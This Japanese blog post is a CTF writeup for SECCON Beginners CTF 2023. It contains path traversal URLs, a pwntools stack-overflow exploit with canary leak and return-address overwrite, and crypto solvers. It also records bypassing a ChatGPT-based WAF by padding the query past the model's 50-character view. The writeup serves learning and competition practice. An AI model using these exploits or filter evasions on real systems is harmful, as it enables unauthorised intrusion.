日記

日本語の勉強のためのブログ

SECCON Beginners CTF 2023のwriteup

2023/06/03-04に行われたSECCON Beginners CTF 2023に参加した.10問解いて136位だった.

図1. 結果

writeupを解いた順に記す.なおWelcome問題は省略.

Forbidden (web, beginner)

添付ファイル内のindex.jsを見ると次のような表記がある.

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

/flagにアクセスすると,次のような処理が行われる.

  1. 関数block()が実行される:もしパスに/flagが含まれていれば403を返し,そうでなければ次の処理に進む
  2. フラグを表示する

したがって,/flagにアクセスせずに,ファイルflagを参照すればよい.
これは例えば,/Flag/fLaGなど,一部を大文字に直したパスにアクセスすることで実現できる.

つまるところ,https://forbidden.beginners.seccon.games/Flag にアクセスすればフラグが手に入る.

Half (reversing, beginner)

$ strings half

poem (pwnable, beginner)

後で書きます.

略解:-4投げればおk.入力が4より大きい場合はRejectされるが,0より小さい場合のチェックは特になされていない.

aiwaf (web, easy)

パストラバーサル攻撃を用いてflagファイルを参照すればよい.例えばhttps://aiwaf.beginners.seccon.games/?file=../flagにアクセスするなど.

しかし,添付ファイルのapp.pyを見ると次のような表記がある.これはChatGPTにURLのクエリ文字列を渡し,パストラバーサル攻撃かどうか判定させ,そうであればアクセスを遮断する処理である.そのため,先の例で示したURLは使えない.

    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

だが,urllib.parse.unquote(str)[:50]はクエリの前半50文字しか読まない.したがって,例えば次にアクセスすることでflagを参照できる.
https://aiwaf.beginners.seccon.games/?a=01234567890123456789012345678901234567890123456789&file=../flag

Conquer (crypto, easy)

暗号化プログラムを逆順に実行すればよい.

from Crypto.Util.number import *
from random import getrandbits

key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379

length = key.bit_length() + 1 # keyはflagのビット数で収まるようなランダムな値なので,flagのビット数はkeyのそれより大きい場合がある 今回は1ビット大きかった

def ROL(bits, N):
  for _ in range(N):
    bits = (bits >> 1) | ((bits << (length - 1)) & (2**length - 1))
  return bits

for i in range(32):
  cipher ^= key
  key = ROL(key, pow(cipher, 3, length))

flag = cipher ^ key
print(flag)
flag = long_to_bytes(flag)
print(flag)

CoughingFox2 (crypto, beginner)

わからなかったが去年の問題見たら総当たりで解いてたので真似したら解けた.スマートな解き方があると思い込んでいたので時間がかかった.

import math
cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758,
37257, 40830, 25293, 38845, 44535, 22210, 39632, 38046, 43687, 48413, 51567, 23115, 42461, 26272, 28933, 23726, 21924, 20488, 27579, 21636]
# 46225, 47525, 23718, 22503, 48845

flag = [ord("c"), ord("t"), ord("f"), ord("4"), ord("b"), ord("{")]
for i in range(5, len(cipher) + 5):
  for c in cipher:
    fi_fi1 = math.sqrt(c - i)
    if fi_fi1 != math.floor(fi_fi1):
      continue
    flag.append(fi_fi1 - flag[i])
  #cipher.remove(c)
print(flag)

# ascii -> char
flag_str = ""
for f in flag:
  flag_str += chr(int(f))
print(flag_str)

YARO (misc, beginner)

Yaraルールの記法については以下のドキュメントを参照.
https://yara.readthedocs.io/en/stable/writingrules.html

nc yaro.beginners.seccon.games 5003を実行し,以下のYaraルールを投げることで,flagファイル内の全文字(のASCIIコード)を取得できる.

import "console"
rule anything {
    strings:
        $str = /ctf4b\{.*\}/
    condition:
        $str 
        and console.log(uint8(0)) // 1バイト=1文字ずつ取得するのでuint8を使う
        and console.log(uint8(1))
        and console.log(uint8(2))
        and console.log(uint8(3))
        and console.log(uint8(4))
        and console.log(uint8(5))
        and console.log(uint8(6))
        and console.log(uint8(7))
        and console.log(uint8(8))
        and console.log(uint8(9))
        and console.log(uint8(10)) 
        and console.log(uint8(11))
        and console.log(uint8(12))
        and console.log(uint8(13))
        and console.log(uint8(14))
        and console.log(uint8(15))
        and console.log(uint8(16))
        and console.log(uint8(17))
        and console.log(uint8(18))
        and console.log(uint8(19))
        and console.log(uint8(20)) 
        and console.log(uint8(21))
        and console.log(uint8(22))
        and console.log(uint8(23))
        and console.log(uint8(24))
        and console.log(uint8(25))
        and console.log(uint8(26))
        and console.log(uint8(27))
        and console.log(uint8(28))
        and console.log(uint8(29))
        and console.log(uint8(30)) 
        and console.log(uint8(31))
        and console.log(uint8(32))
        and console.log(uint8(33))
        and console.log(uint8(34))
}

すると次が得られる(実際は改行区切りで出力される).

99, 116, 102, 52, 98, 123, 89, 51, 116, 95, 65, 110, 48, 116, 104, 51, 114, 95, 82, 51, 52, 100, 95, 79, 112, 112, 48, 114, 116, 117, 110, 49, 116, 121, 125

これを文字列に戻せばよい.

polyglot4b (misc, beginner)

file -bkr <ファイル名>の結果にJPEG/PNG/GIF/ASCIIのすべてが含まれていればフラグが得られる. 試しに添付されていたsushi.jpgを使ってfile -bkr sushi.jpgしてみたところ,出力は次のようになった.

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data

Exif情報も出力されることがわかったので,ここにPNGGIFASCIIという文字列を組み込めば,おそらく次のように出力される.この出力にはJPEG/PNG/GIF/ASCIIのすべてが含まれているから,フラグを得ることができる.

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4BPNGGIFASCII], baseline, precision 8, 1404x790, components 3
- data

具体的には,Windowsの場合,画像の「プロパティ」→「詳細」→「タイトル」にPNGGIFASCIIを追加すればよい.

Three (reversing, easy)

hexdumpでバイナリを見ると,図1に示すアドレス0x2020番地以降に怪しげな文字列がある.これを縦読み

c 4 c _ u b _ _ d t _ r _ 1 _ 4 } 
t b 4 y _ 1 t u 0 4 t e s i f g
f { n 0 a e 0 n _ e 4 e p t 1 3

図2. アドレス0x2020番地以降のバイナリ列

解けなかった問題

rewriter2 (pwnable, easy)

canaryの部分を書き換えないように注意してバッファオーバーフローすればよいらしい
40文字入力するとcanaryっぽいバイト列が出力されたのでいけると思ったが,結局canaryに引っかかりうまくいかなかった.
以下は書いたコードの供養.

from pwn import *

p = process("./rewriter2")
p.recvrepeat(1)

payload = b'1' * 40
p.sendline(payload)
p.recvregex("Hello, .*\n")
canary = p.recv(8)
p.recvrepeat(1)

p.sendline(payload + canary + b"ok")
p.recvrepeat(1)

2023/06/23追記

6月末でサーバが止まってしまうので,他の方のwriteupを読んで解いた.

qiita.com

スタックのアラインメントについては解決策を含め次の記事に書かれており,非常にわかりやすかった.

sok1.hatenablog.com

from pwn import *

# p = process("./rewriter2")
p = remote("rewriter2.beginners.seccon.games", 9001)
p.recvrepeat(1)

payload = b'1' * 40
p.sendline(payload) # sendlineは改行コードも送信する

p.recvuntil(payload)
canary = p.recv(8)
p.recvrepeat(1)

payload += b"\x00" + canary[1:] + b"\x00"*8 + b"\xca\x12\x40\x00\x00\x00\x00\x00"
p.send(payload) # sendでは改行コードは送信されない
p.interactive()